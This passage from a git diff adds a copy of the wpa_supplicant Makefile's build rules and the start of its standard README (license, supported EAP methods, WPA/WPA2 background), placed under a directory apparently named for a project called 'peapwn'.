+OBJS_priv += ../src/crypto/crypto_openssl.o +endif +ifeq ($(CONFIG_TLS), gnutls) +OBJS_priv += ../src/crypto/crypto_gnutls.o +endif +ifeq ($(CONFIG_TLS), nss) +OBJS_priv += ../src/crypto/crypto_nss.o +endif +ifeq ($(CONFIG_TLS), internal) +ifeq ($(CONFIG_CRYPTO), libtomcrypt) +OBJS_priv += ../src/crypto/crypto_libtomcrypt.o +else +OBJS_priv += ../src/crypto/crypto_internal.o +endif +endif +endif # CONFIG_DRIVER_TEST +OBJS += ../src/l2_packet/l2_packet_privsep.o +OBJS += ../src/drivers/driver_privsep.o +EXTRA_progs += wpa_priv +else +OBJS += $(OBJS_d) ../src/drivers/drivers.o +OBJS += $(OBJS_l2) +endif + +ifdef CONFIG_NDIS_EVENTS_INTEGRATED +CFLAGS += -DCONFIG_NDIS_EVENTS_INTEGRATED +OBJS += ../src/drivers/ndis_events.o +EXTRALIBS += -loleaut32 -lole32 -luuid +ifdef PLATFORMSDKLIB +EXTRALIBS += $(PLATFORMSDKLIB)/WbemUuid.Lib +else +EXTRALIBS += WbemUuid.Lib +endif +endif + +ifndef LDO +LDO=$(CC) +endif + +Q=@ +E=echo +ifeq ($(V), 1) +Q= +E=true +endif + +dynamic_eap_methods: $(EAPDYN) + +../src/drivers/build.wpa_supplicant: + @if [ -f ../src/drivers/build.hostapd ]; then \ + $(MAKE) -C ../src/drivers clean; \ + fi + @touch ../src/drivers/build.wpa_supplicant + +BCHECK=../src/drivers/build.wpa_supplicant + +wpa_priv: $(BCHECK) $(OBJS_priv) + $(Q)$(LDO) $(LDFLAGS) -o wpa_priv $(OBJS_priv) $(LIBS) + @$(E) " LD " $@ + +$(OBJS_c) $(OBJS_t) $(OBJS_t2) $(OBJS) $(BCHECK) $(EXTRA_progs): .config + +wpa_supplicant: $(BCHECK) $(OBJS) $(EXTRA_progs) + $(Q)$(LDO) $(LDFLAGS) -o wpa_supplicant $(OBJS) $(LIBS) $(EXTRALIBS) + @$(E) " LD " $@ + +eapol_test: $(OBJS_t) + $(Q)$(LDO) $(LDFLAGS) -o eapol_test $(OBJS_t) $(LIBS) + @$(E) " LD " $@ + +preauth_test: $(OBJS_t2) + $(Q)$(LDO) $(LDFLAGS) -o preauth_test $(OBJS_t2) $(LIBS) + @$(E) " LD " $@ + +wpa_passphrase: $(OBJS_p) + $(Q)$(LDO) $(LDFLAGS) -o wpa_passphrase $(OBJS_p) $(LIBS_p) + @$(E) " LD " $@ + +wpa_cli: $(OBJS_c) + $(Q)$(LDO) $(LDFLAGS) -o wpa_cli $(OBJS_c) $(LIBS_c) + @$(E) " LD " $@ + +link_test: $(OBJS) $(OBJS_h) tests/link_test.o + $(Q)$(LDO) $(LDFLAGS) -o link_test $(OBJS) $(OBJS_h) tests/link_test.o $(LIBS) + @$(E) " LD " $@ + +test_wpa: $(OBJS_wpa) $(OBJS_h) + $(Q)$(LDO) $(LDFLAGS) -o test_wpa $(OBJS_wpa) $(LIBS) + @$(E) " LD " $@ + +nfc_pw_token: $(OBJS_nfc) + $(Q)$(LDO) $(LDFLAGS) -o nfc_pw_token $(OBJS_nfc) $(LIBS) + @$(E) " LD " $@ + +win_if_list: win_if_list.c + $(Q)$(LDO) $(LDFLAGS) -o $@ win_if_list.c $(CFLAGS) $(LIBS_w) + @$(E) " LD " $@ + +eap_psk.so: ../src/eap_peer/eap_psk.c ../src/eap_common/eap_psk_common.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $^ \ + -Deap_peer_psk_register=eap_peer_method_dynamic_init + +eap_pax.so: ../src/eap_peer/eap_pax.c ../src/eap_common/eap_pax_common.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $^ \ + -Deap_peer_pax_register=eap_peer_method_dynamic_init + +eap_sake.so: ../src/eap_peer/eap_sake.c ../src/eap_common/eap_sake_common.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $^ \ + -Deap_peer_sake_register=eap_peer_method_dynamic_init + +eap_wsc.so: ../src/eap_peer/eap_wsc.c ../src/eap_common/eap_wsc_common.c ../src/wps/wps.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $^ \ + -Deap_peer_wsc_register=eap_peer_method_dynamic_init + +eap_ikev2.so: ../src/eap_peer/eap_ikev2.c ../src/eap_peer/ikev2.c ../src/eap_common/eap_ikev2_common.o ../src/eap_common/ikev2_common.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $^ \ + -Deap_peer_ikev2_register=eap_peer_method_dynamic_init + +eap_eke.so: ../src/eap_peer/eap_eke.c ../src/eap_common/eap_eke_common.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $^ \ + -Deap_peer_eke_register=eap_peer_method_dynamic_init + +%.so: %.c + $(CC) $(LDFLAGS) -o $@ $(CFLAGS) -shared -rdynamic -fPIC $< \ + -D$(*F:eap_%=eap_peer_%)_register=eap_peer_method_dynamic_init + +%.o: %.c + $(Q)$(CC) -c -o $@ $(CFLAGS) $< + @$(E) " CC " $< + +%.service: %.service.in + sed -e 's|\@BINDIR\@|$(BINDIR)|g' $< >$@ + +%@.service: %.service.arg.in + sed -e 's|\@BINDIR\@|$(BINDIR)|g' $< >$@ + +wpa_supplicant.exe: wpa_supplicant + mv -f $< $@ +wpa_cli.exe: wpa_cli + mv -f $< $@ +wpa_passphrase.exe: wpa_passphrase + mv -f $< $@ +win_if_list.exe: win_if_list + mv -f $< $@ +eapol_test.exe: eapol_test + mv -f $< $@ + +WINALL=wpa_supplicant.exe wpa_cli.exe wpa_passphrase.exe win_if_list.exe + +windows-bin: $(WINALL) + $(STRIP) $(WINALL) + +wpa_gui: + @echo "wpa_gui has been removed - see wpa_gui-qt4 for replacement" + +wpa_gui-qt4/Makefile: + qmake -o wpa_gui-qt4/Makefile wpa_gui-qt4/wpa_gui.pro + +wpa_gui-qt4/lang/wpa_gui_de.qm: wpa_gui-qt4/lang/wpa_gui_de.ts + lrelease wpa_gui-qt4/wpa_gui.pro + +wpa_gui-qt4: wpa_gui-qt4/Makefile wpa_gui-qt4/lang/wpa_gui_de.qm + $(MAKE) -C wpa_gui-qt4 + +TEST_EAP_SIM_COMMON_OBJS = $(SHA1OBJS) $(MD5OBJS) \ + ../src/utils/common.o ../src/utils/os_unix.o \ + ../src/utils/wpa_debug.o $(AESOBJS) \ + tests/test_eap_sim_common.o +test-eap_sim_common: $(TEST_EAP_SIM_COMMON_OBJS) + $(LDO) $(LDFLAGS) -o $@ $(TEST_EAP_SIM_COMMON_OBJS) $(LIBS) + ./test-eap_sim_common + rm test-eap_sim_common + +tests: test-eap_sim_common + +FIPSDIR=/usr/local/ssl/fips-2.0 +FIPSLD=$(FIPSDIR)/bin/fipsld +fips: + $(MAKE) CC=$(FIPSLD) FIPSLD_CC="$(CC)" + +clean: + $(MAKE) -C ../src clean + $(MAKE) -C dbus clean + rm -f core *~ *.o *.d *.gcno *.gcda *.gcov + rm -f eap_*.so $(ALL) $(WINALL) eapol_test preauth_test + rm -f wpa_priv + rm -f nfc_pw_token + +-include $(OBJS:%.o=%.d) diff --git a/peapwn/mods/hostap/wpa_supplicant/README b/peapwn/mods/hostap/wpa_supplicant/README new file mode 100644 index 000000000..8e9cc45f3 --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/README @@ -0,0 +1,985 @@ +WPA Supplicant +============== + +Copyright (c) 2003-2013, Jouni Malinen and contributors +All Rights Reserved. + +This program is licensed under the BSD license (the one with +advertisement clause removed). + +If you are submitting changes to the project, please see CONTRIBUTIONS +file for more instructions. + + + +License +------- + +This software may be distributed, used, and modified under the terms of +BSD license: + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name(s) of the above-listed copyright holder(s) nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + +Features +-------- + +Supported WPA/IEEE 802.11i features: +- WPA-PSK ("WPA-Personal") +- WPA with EAP (e.g., with RADIUS authentication server) ("WPA-Enterprise") + Following authentication methods are supported with an integrate IEEE 802.1X + Supplicant: + * EAP-TLS + * EAP-PEAP/MSCHAPv2 (both PEAPv0 and PEAPv1) + * EAP-PEAP/TLS (both PEAPv0 and PEAPv1) + * EAP-PEAP/GTC (both PEAPv0 and PEAPv1) + * EAP-PEAP/OTP (both PEAPv0 and PEAPv1) + * EAP-PEAP/MD5-Challenge (both PEAPv0 and PEAPv1) + * EAP-TTLS/EAP-MD5-Challenge + * EAP-TTLS/EAP-GTC + * EAP-TTLS/EAP-OTP + * EAP-TTLS/EAP-MSCHAPv2 + * EAP-TTLS/EAP-TLS + * EAP-TTLS/MSCHAPv2 + * EAP-TTLS/MSCHAP + * EAP-TTLS/PAP + * EAP-TTLS/CHAP + * EAP-SIM + * EAP-AKA + * EAP-PSK + * EAP-PAX + * EAP-SAKE + * EAP-IKEv2 + * EAP-GPSK + * LEAP (note: requires special support from the driver for IEEE 802.11 + authentication) + (following methods are supported, but since they do not generate keying + material, they cannot be used with WPA or IEEE 802.1X WEP keying) + * EAP-MD5-Challenge + * EAP-MSCHAPv2 + * EAP-GTC + * EAP-OTP +- key management for CCMP, TKIP, WEP104, WEP40 +- RSN/WPA2 (IEEE 802.11i) + * pre-authentication + * PMKSA caching + +Supported TLS/crypto libraries: +- OpenSSL (default) +- GnuTLS + +Internal TLS/crypto implementation (optional): +- can be used in place of an external TLS/crypto library +- TLSv1 +- X.509 certificate processing +- PKCS #1 +- ASN.1 +- RSA +- bignum +- minimal size (ca. 50 kB binary, parts of which are already needed for WPA; + TLSv1/X.509/ASN.1/RSA/bignum parts are about 25 kB on x86) + + +Requirements +------------ + +Current hardware/software requirements: +- Linux kernel 2.4.x or 2.6.x with Linux Wireless Extensions v15 or newer +- FreeBSD 6-CURRENT +- NetBSD-current +- Microsoft Windows with WinPcap (at least WinXP, may work with other versions) +- drivers: + Linux drivers that support cfg80211/nl80211. Even though there are + number of driver specific interface included in wpa_supplicant, please + note that Linux drivers are moving to use generic wireless configuration + interface driver_nl80211 (-Dnl80211 on wpa_supplicant command line) + should be the default option to start with before falling back to driver + specific interface. + + Linux drivers that support WPA/WPA2 configuration with the generic + Linux wireless extensions (WE-18 or newer). Obsoleted by nl80211. + + In theory, any driver that supports Linux wireless extensions can be + used with IEEE 802.1X (i.e., not WPA) when using ap_scan=0 option in + configuration file. + + Wired Ethernet drivers (with ap_scan=0) + + BSD net80211 layer (e.g., Atheros driver) + At the moment, this is for FreeBSD 6-CURRENT branch and NetBSD-current. + + Windows NDIS + The current Windows port requires WinPcap (http://winpcap.polito.it/). + See README-Windows.txt for more information. + +wpa_supplicant was designed to be portable for different drivers and +operating systems. Hopefully, support for more wlan cards and OSes will be +added in the future. See developer's documentation +(http://hostap.epitest.fi/wpa_supplicant/devel/) for more information about the +design of wpa_supplicant and porting to other drivers. One main goal +is to add full WPA/WPA2 support to Linux wireless extensions to allow +new drivers to be supported without having to implement new +driver-specific interface code in wpa_supplicant. + +Optional libraries for layer2 packet processing: +- libpcap (tested with 0.7.2, most relatively recent versions assumed to work, + this is likely to be available with most distributions, + http://tcpdump.org/) +- libdnet (tested with v1.4, most versions assumed to work, + http://libdnet.sourceforge.net/) + +These libraries are _not_ used in the default Linux build. Instead, +internal Linux specific implementation is used. libpcap/libdnet are +more portable and they can be used by adding CONFIG_L2_PACKET=pcap into +.config. They may also be selected automatically for other operating +systems. In case of Windows builds, WinPcap is used by default +(CONFIG_L2_PACKET=winpcap). + + +Optional libraries for EAP-TLS, EAP-PEAP, and EAP-TTLS: +- OpenSSL (tested with 0.9.7c and 0.9.7d, and 0.9.8 versions; assumed to + work with most relatively recent versions; this is likely to be + available with most distributions, http://www.openssl.org/) +- GnuTLS +- internal TLSv1 implementation + +TLS options for EAP-FAST: +- OpenSSL 0.9.8d _with_ openssl-0.9.8d-tls-extensions.patch applied + (i.e., the default OpenSSL package does not include support for + extensions needed for EAP-FAST) +- internal TLSv1 implementation + +One of these libraries is needed when EAP-TLS, EAP-PEAP, EAP-TTLS, or +EAP-FAST support is enabled. WPA-PSK mode does not require this or EAPOL/EAP +implementation. A configuration file, .config, for compilation is +needed to enable IEEE 802.1X/EAPOL and EAP methods. Note that EAP-MD5, +EAP-GTC, EAP-OTP, and EAP-MSCHAPV2 cannot be used alone with WPA, so +they should only be enabled if testing the EAPOL/EAP state +machines. However, there can be used as inner authentication +algorithms with EAP-PEAP and EAP-TTLS. + +See Building and installing section below for more detailed +information about the wpa_supplicant build time configuration. + + + +WPA +--- + +The original security mechanism of IEEE 802.11 standard was not +designed to be strong and has proven to be insufficient for most +networks that require some kind of security. Task group I (Security) +of IEEE 802.11 working group (http://www.ieee802.org/11/) has worked +to address the flaws of the base standard and has in practice +completed its work in May 2004. The IEEE 802.11i amendment to the IEEE +802.11 standard was approved in June 2004 and published in July 2004. + +Wi-Fi Alliance (http://www.wi-fi.org/) used a draft version of the +IEEE 802.11i work (draft 3.0) to define a subset of the security +enhancements that can be implemented with existing wlan hardware. This +is called Wi-Fi Protected Access (WPA). This has now become a +mandatory component of interoperability testing and certification done +by Wi-Fi Alliance. Wi-Fi provides information about WPA at its web +site (http://www.wi-fi.org/OpenSection/protected_access.asp). + +IEEE 802.11 standard defined wired equivalent privacy (WEP) algorithm +for protecting wireless networks. WEP uses RC4 with 40-bit keys, +24-bit initialization vector (IV), and CRC32 to protect against packet +forgery. All these choices have proven to be insufficient: key space is +too small against current attacks, RC4 key scheduling is insufficient +(beginning of the pseudorandom stream should be skipped), IV space is +too small and IV reuse makes attacks easier, there is no replay +protection, and non-keyed authentication does not protect against bit +flipping packet data. + +WPA is an intermediate solution for the security issues. It uses +Temporal Key Integrity Protocol (TKIP) to replace WEP. TKIP is a +compromise on strong security and possibility to use existing +hardware. It still uses RC4 for the encryption like WEP, but with +per-packet RC4 keys. In addition, it implements replay protection, +keyed packet authentication mechanism (Michael MIC). + +Keys can be managed using two different mechanisms. WPA can either use +an external authentication server (e.g., RADIUS) and EAP just like +IEEE 802.1X is using or pre-shared keys without need for additional +servers. Wi-Fi calls these "WPA-Enterprise" and "WPA-Personal", +respectively. Both mechanisms will generate a master session key for +the Authenticator (AP) and Supplicant (client station). + +WPA implements a new key handshake (4-Way Handshake and Group Key +Handshake) for generating and exchanging data encryption keys between +the Authenticator and Supplicant. This handshake is also used to +verify that both Authenticator and Supplicant know the master session +key. These handshakes are identical regardless of the selected key +management mechanism (only the method for generating master session +key changes). + + + +IEEE 802.11i / WPA2 +------------------- + +The design for parts of IEEE 802.11i that were not included in WPA has +finished (May 2004) and this amendment to IEEE 802.11 was approved in +June 2004. Wi-Fi Alliance is using the final IEEE 802.11i as a new +version of WPA called WPA2. This includes, e.g., support for more +robust encryption algorithm (CCMP: AES in Counter mode with CBC-MAC) +to replace TKIP and optimizations for handoff (reduced number of +messages in initial key handshake, pre-authentication, and PMKSA caching). + + + +wpa_supplicant +-------------- + +wpa_supplicant is an implementation of the WPA Supplicant component, +i.e., the part that runs in the client stations. It implements WPA key +negotiation with a WPA Authenticator and EAP authentication with +Authentication Server. In addition, it controls the roaming and IEEE +802.11 authentication/association of the wlan driver. + +wpa_supplicant is designed to be a "daemon" program that runs in the +background and acts as the backend component controlling the wireless +connection. wpa_supplicant supports separate frontend programs and an +example text-based frontend, wpa_cli, is included with wpa_supplicant. + +Following steps are used when associating with an AP using WPA: + +- wpa_supplicant requests the kernel driver to scan neighboring BSSes +- wpa_supplicant selects a BSS based on its configuration +- wpa_supplicant requests the kernel driver to associate with the chosen + BSS +- If WPA-EAP: integrated IEEE 802.1X Supplicant completes EAP + authentication with the authentication server (proxied by the + Authenticator in the AP) +- If WPA-EAP: master key is received from the IEEE 802.1X Supplicant +- If WPA-PSK: wpa_supplicant uses PSK as the master session key +- wpa_supplicant completes WPA 4-Way Handshake and Group Key Handshake + with the Authenticator (AP) +- wpa_supplicant configures encryption keys for unicast and broadcast +- normal data packets can be transmitted and received + + + +Building and installing +----------------------- + +In order to be able to build wpa_supplicant, you will first need to +select which parts of it will be included. This is done by creating a +build time configuration file, .config, in the wpa_supplicant root +directory. Configuration options are text lines using following +format: CONFIG_